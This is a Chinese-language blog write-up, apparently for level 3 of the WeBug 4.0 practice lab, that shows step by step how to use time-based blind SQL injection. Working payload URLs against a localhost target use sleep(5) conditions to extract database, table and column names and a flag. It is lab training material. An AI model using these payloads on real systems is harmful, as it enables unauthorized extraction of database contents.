webug4.0延時註入-3
阿新 • • 發佈:2019-03-17
limit env span lec div 一個數 響應時間 返回 format
/*打開這道題時,發現和第二關的鏈接一樣。既然作者考察的是延時註入就利用響應時間來判斷*/
用延時註入時,我們一般不能從頁面直接獲取數據庫信息,所用知識與第二關基本相同
if(exp,1,sleep(5)) 如果exp為真,返回1,否則返回sleep(5) 就是延時5s響應
0x01 經過嘗試發現 ‘or 1=1--+ 能使頁面正常
0x02 利用 ‘order by 1--+ 嘗試判斷出字段個數為3
0x03 利用延時註入爆所有數據庫名字
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>104,1,sleep(5))--+
判斷第一個數據庫第一個字符大於104是否為真 true返回1,false返回sleep(5) 可利用二分法定位
判斷第二個字符時 修改為substr(*****,2,1)
判斷第二個數據庫時 修改為limit 1,1
如果需爆當前數據庫名字
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr(database(),1,1))>100,1,sleep(5))--+
爆出當前數據庫名字 ‘webug‘
0x04 利用延時註入爆webug下的表
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(5))--+
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
0x05 利用延時註入爆env_list下的列
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(5))--+
env_list的表裏有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
0x06 利用延時註入爆id=3時envFlag內容
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select envFlag from webug.env_list limit 2,1),1,1))>100,1,sleep(5))--+
limit 2,1 是從0開始的 故id=3時也就是limit 2,1 當然也可以寫成下面的
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select envFlag from webug.env_list where id=3),1,1))>100,1,sleep(5))--+
最後flag:gfdgdfsdg
webug4.0延時註入-3